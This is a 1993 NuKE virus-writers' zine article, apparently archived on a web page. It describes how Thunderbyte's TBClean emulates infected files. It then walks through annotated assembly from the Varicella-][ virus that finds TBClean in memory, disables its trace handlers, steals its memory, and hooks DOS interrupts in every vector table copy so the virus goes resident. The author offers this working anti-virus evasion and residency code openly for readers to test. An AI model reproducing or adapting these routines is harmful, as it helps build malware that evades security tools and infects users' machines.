Copy Link
Add to Bookmark
Report

NuKE Issue 07-010

  

================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "The Dangers of Thunderbyte's TBClean Emulation Nu
Nu Techniques" KE
KE -N
-N By uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu

NuKE InfoJournal #7
August 1993


% AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %

% DISCLAIMER %

This article is concerning a study and field test of the reliability of
Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
and this is simply a report about his extensive study of Thunderbyte's
TBClean utility. This report is not intended to scare people away from
Thunderbyte's anti-virus package, but rather to show you how TBClean
actually works in order to clean a virus. The information here may disturb
many people, nevertheless it is presented here for the safety of those who
use Thunderbyte's TBClean in a home and/or business environment.


% What is ThunderByte %

Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
computer viruses. In this issue of the NuKE InfoJournal, we will take a
very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
which is supplied in every TBAV package.

TBCLEAN.EXE is a program that tries to remove viruses from your infected
files by using an heuristic/emulation approach. Now, for those who don't
understand what an heuristic/emulation approach is let me try to explain
it to you in more simplified, less-technical terms.

TBClean will try to set up a "control" environment to execute the virus. You
see, many of the computer viruses today will attach themselves to binary files
and alter them in such a way that when you try to execute (run) the binary
file the virus will execute first and install itself into memory, and then
the virus will execute the original binary file it is attached to. Now, every
????????.COM and ????????.EXE binary file contains an entry point. This is the
point from which DOS to starts to execute the code. Basically it is
the beginning of the program, and in order for the file to run properly we
need to start at that entry point. Now *.COM files contain a FIXED entry point
which is location 100h. Now if we attach a virus to the end of the COM file,
we have to fix the entry point so that when executed the virus will run
first. Since this is a FIXED entry point, we will go to location 100h, and
put a JMP statement to jump to the entry point of the virus. For the
original file to execute correctly, we will need the original three bytes
at the entry point, since the JMP we put for it to jump to the virus entry
point took three bytes of data in the .COM. So when the virus gives control
back to the file, we then must restore the original three bytes and execute
them.

Now to remove the virus from the .COM file we need to know where the original
three bytes are. So TBClean will actually execute the virus and try to catch
the virus restoring the original three bytes. Once that happens, TBClean can
safely remove the virus from the file, as it now can replace the original
three bytes where the virus put its jump statement.

Now .EXEs have a variable entry point, rather than a fixed one like the .COM
files. Each .EXE file contains a header of about 32 bytes in the beginning
of the file which has information about the .EXE itself, including the entry
point. Now when a virus attaches (infects) itself to an .EXE file, it simply
puts its entry point inside the .EXE header and saves the original one for
later use.

Again, in order to remove a file from an .EXE file, we will need to have the
original entry point location. And TBClean does this by executing the virus
in a controlled environment; when the virus restores control back to the
.EXE file, it will jump to the entry point location. TBClean will halt
at that point and attempt to clean the file.


% The Problem %

The problem when doing this, the virus can always escape from this controlled
environment and go loose. In fact we at NuKE have attempted and succeeded in
doing just that!


% Explanation %

When you run TBClean to disinfect a virus-infected file, it does several
things in order to set up the environment needed to execute the virus. One of
things that TBClean does is check to see if it is being debugged.

I guess the makers of TBClean did not want people to "debug" their software
in order to have a closer look because once you know how the program works
you then can attempt to bypass it. The easiest way to bypass the anti-debug
traps is to use a debugger package that can go TSR and put loose breakpoints.
I've found that Periscope and SoftIce can easily bypass the TBClean traps,
or you may set a TSR file and set it to go off on the first interrupt 21h,
function 3Dh (DOS Open File).

The next main trick TBClean does is that it occupies all of the remaining
memory left in the system. TBClean only requires about 20k for itself, but
nevertheless it will occupy all the remaining memory left in the system. It
will use this memory for the file it will attempt to clean, but not all of the
memory is really needed, nevertheless it is occupied. Why? Well, because
TBClean wants to set-up a secure environment to run the virus and by occupying
all the available memory if the virus gets out of hand it CAN'T go resident
because there is no more memory left! "Pretty smart," you must be saying to
yourself? Yes, it is a good idea to occupy all of the memory, so like even if
the virus tries to allocate memory it will get an error and it will quit.

The next trick, before TBClean actually executes the virus in the controlled
environment is that it will make two copies of the interrupt vector table.
This too is a good idea, because if a virus does manage to escape and hook the
vector table, TBClean will notice the vector table change and restore it
with the original value. Therefore, if a virus was to "get out" of this
controlled TBClean environment we would need to hook all three copies of the
vector tables (DOS + the two copies that TBClean makes).

After this, we are pretty much ready to try to make a disinfection via
emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
and 4h to do the actual tracing. The interrupt that we REALLY need to pay
attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
they added what we call a Trap Flag. Normally this flag is off, and the
processor executes every line of code without stoping. But when the trap flag
is on, the processor will issue an Int 1h call after every line of code
executed. Therefore, after every line of code is executed the processor will
issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
the code line by line.

There are a few restrictions that TBClean enforces; one of them is the Trap
flag must always be on! If you try to turn off the Trap flag, TBClean will
fool the virus into thinking the Trap flag is off, but it really stays on.
Secondly, interrupt calls are not allowed. Thirdly, it will never give you
the true vector address of Int 1h or Int 3h -- it gives you a fake value
instead. Finally, TBClean will NOT allow the virus to have its segment in
the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
the value 0ABC is never allowed to go in the DS or ES registers of the virus.
This is done so the virus is not able to snoop inside TBClean.


% Making a virus to bypass TBClean %

After I had successfully taken apart TBClean, and once I understood exactly
how it worked, then I was ready to write a virus to defeat TBClean's
dangerous emulation techniques.

Don't get me wrong, TBClean has a great idea going, but it contains too many
flaws that must be tightened up. And apparently those flaws can lead to the
destruction of your PC. Just think about it. Let's say you just downloaded a
file from your local BBS, and you used TBSCAN to scan the new file for viruses,
before you attempt to execute it. Lets say the file is infected with a virus
like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
wouldn't you naturally try to clean it so you could perhaps use the file? Of
course you would, and what program would you use to do the job? Nothing but
TBClean!

Picture it, your computer is not infected by any virus, you are pretty much
happy about yourself for using TBSCAN and detecting that virus inside that
file you just downloaded. Your glad you got it before it infected your
computer. Or lets say you got TBScanX resident, and it caught the virus, just
as you attempt to executed it... You now try to clean the file with TBClean.
TBClean does what it has to do, looks at the file and then tries emulation to
disinfect it. After emulation TBClean reports no viruses found, and tells you
that it may not even be infected with a virus.

You're puzzled? Well, actually TBClean just unleased the virus into your
system! Now who's to blame? Personally, I think it's the incompetent
programmers of TBClean. It allowed too many loopholes in their program, and
the Varicella-][ virus just took advantage of those loopholes and is now
resident in your computer, ready to infect every file you touch. Remember, it
is also a very fast, stealthy virus.

Personally, if _any_ anti-virus program should attempt to disinfect via
emulation, it must be EXTREMELY cautious, and it should take every
possible loophole into account. Remember, emulation means that you are
actually executing the virus in order to disinfect it. Many people didn't
know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
should praise NuKE for testing their software and showing them their flaws, so
that they may do whatever is necessary to fix this problem.

It is fortunate for Thunderbyte that no "evil" virus writer has noticed
this problem and took advantage of it. It would have cost Thunderbyte
their name and market share.

Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
that Thunderbyte rated very low under NuKE's personal attack tests in several
fields.

Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
when no virus was present. It is enough that the average computer user is
paranoid about viruses, but if you "cry wolf" too many times people lose hope
in the package.

Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
under OS/2. This seems to be because TBSCAN uses its own file routines, instead
of DOS's.

Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
package too difficult to use. A Windows version of Thunderbyte could
be a great plus.


% And in this corner...Varicella-][ %

Let's go into detail with parts of the Varicella-][ virus and let's show you why
it works.

1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
2 xor dx,dx ;dx=0
3 mov ds,dx ;ds=0
4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
5 dec ax
6 mov ds,ax

Okay, after looking at the above we begin by resetting our TB flag. TBClean
will not give us the complete address of Int 1h. It will only give us the
correct segment, the offset is no good. Therefore let's simply take the segment.
Now we know the segment location of TBClean in memory, since TBClean will
not let me store the value in DS, let's subtract 1 and *then* store it in DS.
We have again fooled TBClean; maybe we can't have TBClean's correct segment
in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.

In the next block of code, we will search 64k of TBClean's memory in order to
find the Int 1h and 3h offsets and the two copies of the vector table. This is
the bit of data we will be searching for.

====================Somewhere in TBClean.EXE==v6.04===================
1 cs:04A4 33C0 xor ax,ax
2 cs:04A6 8ED8 mov ds,ax
3 cs:04A8 8BF8 mov si,ax
4 cs:04AA BF342D mov di,2D34
5 cs:04AD B90002 mov cx,0200
6 cs:04B0 F3A5 rep movsw

[The above block is coping the vector table (0000:0000) to location
ES:DI (ES:2D34). This value we will need.]

7 cs:04B2 FA cli
8 cs:04B3 C70600005411 mov word ptr [0000],1154
9 cs:04B9 8C0E0200 mov [0002],cs
10 cs:04BD C7060400E513 mov word ptr [0004],13E5
11 cs:04C3 8C0E0600 mov [0006],cs
12 cs:04C7 C7060C006B15 mov word ptr [000C],156B
13 cs:04CD 8C0E0E00 mov [000E],cs
14 cs:04D1 C70610005411 mov word ptr [0010],1154
15 cs:04D7 8C0E1200 mov [0012],cs
16 cs:04DB C70614005411 mov word ptr [0014],1154
17 cs:04E1 8C0E1600 mov [0016],cs
18 cs:04E5 C70618005411 mov word ptr [0018],1154
19 cs:04EB 8C0E1A00 mov [001A],cs
20 cs:04EF C7066C002411 mov word ptr [006C],1124
21 cs:04F5 8C0E6E00 mov [006E],cs
22 cs:04F9 FB sti

[The above block is hooking the vector table. This is were we get our
Int 1h and 3h location.]

23 cs:04FA 8BF0 mov si,ax
24 cs:04FC 8BF8 mov di,ax
25 cs:04FE 2E8E06F032 mov es,cs:[32F0]
26 cs:0503 B90080 mov cx,8000
27 cs:0506 F3A5 rep movsw

[The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
the segment which is in location CS:32F0. We will need to get this
location to hook the interrupts.]
===========================END of TBClean=============================

Now, the bellow block will start to search for the above block in memory
where we will scan 64k from the segment we got.

mov cx,0FFFFh ;cx=64k
mov si,dx ;si=0

look_4_TBClean: mov ax,word ptr ds:[si]
xor ax,0A5F3h

[You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
because TBClean will find out what I'm doing and fool around with the
flag and my test will fail! As you can see, we are looking for the bytes
from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
A5F3.]
je check_it ;jmp if its TBClean
look_again: inc si ;if not continue looking
loop look_4_TBClean
jmp not_found ;not found cont normal

[If A5F3 is found, we continue with the bottom, which will search for more bytes
in that block captured above. These bytes that we are searching for exist
in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
should work!]

check_it: mov ax,word ptr ds:[si+4]
xor ax,0006h
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+10]
xor ax,020Eh
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+12]
xor ax,0C700h
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+14]
xor ax,0406h
jne look_again ;jmp =! TBClean

[If all the bytes match, it means we found TBClean in memory, and since we
know where we are, we can steal the Int 1h & 3h locations, like we do
bellow.]
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset

[Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
the offset because the segment is really DS - 1, so to counter act the segment
we add 16 to the offset. (16 bytes = 1 segment)]

mov byte ptr ds:[bx+16],0CFh ;replace with IRET

[Same is done for Int 3h bellow.]

mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
mov byte ptr ds:[bx+16],0CFh ;replace with IRET

[TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
found TBClean, and let's go resident]

mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on

[The next block gets the segment of where the 2nd copy of the vector table
is hiding (line #25 in TBClean capture)!]

mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
mov word ptr cs:[tb_int2][bp],bx ;vector table

[The next block gets the offset of the 1st copy of the vector table that
TBClean did (line #4 in TBClean capture).]

mov bx,word ptr ds:[si-5] ;get offset of 1st copy
mov word ptr cs:[tb_ints][bp],bx ;of vector table

[Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]

not_found: xor dx,dx
push ds
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment

les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment

les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
pop ds

mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
mov ax,0abcdh ;test if virus is here?
int 13h
cmp bx,0abcdh ;is it?
jne install_virus ;jmp, if not & install
leave_mcb: jmp exit_mem ;yes, leave then

[This is the tricky part! Remember TBClean occupies ALL available memory!
So I had to come up with a routine that would work when TBClean was NOT in
memory, and when it was! The task was hard...but I did it (naturally, hehe).

TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
"install_virus" and we get the List of Lists, and we get the FIRST MCB chain
and basically we chain through until we find the END of the MCB chain, which
ends with a "Z" instead of an "M". Once we find the last chain we subtract
the virus size in paragraphs, and that's it...

TBClean in memory: If TBClean is in memory when the virus finds the LAST
MCB block and tries to subtract its size from it, it will notice that
not enough memory is available. Where then will jump to "steal_some."

What "steal_some" does is it will REPEAT the process again. Meaning it will
now get the FIRST MCB chain, and chain through the end, but while its chaining
through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
find the MCB that belongs to TBClean we will subtract the virus size in
paragraphs from it and voila -- we stole and allocated memory while bypassing
TBClean!!! And now we can safely return to TBClean without worrying if it will
de-allocate our memory space.]

;--------- Going Resident ------

steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
cmp al,0ffh ;memory from it!
je leave_mcb ;error? exit then
inc byte ptr cs:[mcb][bp] ;inc flag
cmp al,01 ;
ja mcb3_1

install_virus: mov ah,52h ;get the list of lists
int 21h ;use dos
mov ax,es:[bx-2] ;get first mcb chain

mov es,ax ;es=segment of 1st mcb
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
jne mcb2 ;jmp if not
clc ;yes last mcb, CLC
jmp short mcbx ;outta here

mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
je mcb3 ;jmp if yes
stc ;error, set carry flag
jmp short mcbx ;outta here

[The bellow block is special! Meaning if the TB flag is on, we will compare
ALL of the MCB block owners to find the one that belongs to TBClean! Since
we already know the segment of TBClean, we subtract 100h (256) bytes and we
have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
we already subtracted 1 from the beginning!]

mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
je mcb3_1 ;if yes, then jmp
mov dx,ds ;else cmp TB ds
sub dx,9h ;ds-10
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
je mcbx_1

mcb3_1: mov ax,es ;ax=es
add ax,word ptr es:[0003h] ;ax=es + next mcb
inc ax ;get mcb
mov es,ax ;es=ax:next mcb chain
jmp short mcb1 ;goto first step

mcbx: jc leave_mcb ;if error, exit
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
jb steal_some
mov byte ptr es:[0000],'Z' ;the last mcb chain!
sub word ptr es:[0003],(virus_size/16) + 11h
add ax,word ptr es:[0003h] ;figure out segment
inc ax ;add 16 bytes
mov es,ax ;new segment in es
mov di,103h ;offset is 103h

[Now we have some memory! Let's move a copy of the virus into that newly
allocated memory under the TOM!]

push ds ;save TB ds location
push cs
pop ds ;virus cs=ds
mov si,offset init_virus ;si=top of virus
add si,bp ;add delta
mov cx,virus_size ;move virus_size
cld ;clear direction flag
repne movsb ;do it Mr. Crunge

[Now we will hook the DOS Vector table (0000:0000->0000:0200).]

mov ds,cx ;ds=0000
hook_again: cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints

[We will test if the TBClean flag is on! If TBClean flag is on, we will make
DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]

cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
je go_on ;no, then jmp
cmp cl,01h ;is this the 2nd x here?
je go_on ;yes, then jmp
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
inc cl ;inc cl
jmp short hook_again ;hook ints again

[If TBClean was found the bellow block will now hook the last copy of the
vector table that TBClean did...]

go_on: pop ds ;get TB code segment
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
je hook_tb_ints ;yes, then jmp
jmp exit_mem ;else exit
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
mov word ptr ds:[si+84h+16],offset int21_handler
mov word ptr ds:[si+86h+16],es
mov word ptr ds:[si+70h+16],offset int1c_handler
mov word ptr ds:[si+72h+16],es
mov word ptr ds:[si+4ch+16],offset int13_handler
mov word ptr ds:[si+4eh+16],es

[ALL DONE!!! Now we restore to the original file!

So how does it feel to fool TBClean??? Article #11 contains the complete
source code of the Varicella-][ virus. You may test it as you wish!]

exit_mem: pop ds
pop es
pop si
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
push cs
pop ds
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
inc bx
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop dx
pop cx
pop bx
pop word ptr cs:[ax_reg][bp] ;save ax else where
mov ax,100h
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h

exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop word ptr cs:[ax_reg][bp]
pop cx
pop bx
pop ax
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
cli
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
sti
mov dx,word ptr cs:[ax_reg][bp]
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.

Rock Steady/NuKE
===============================================================================

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT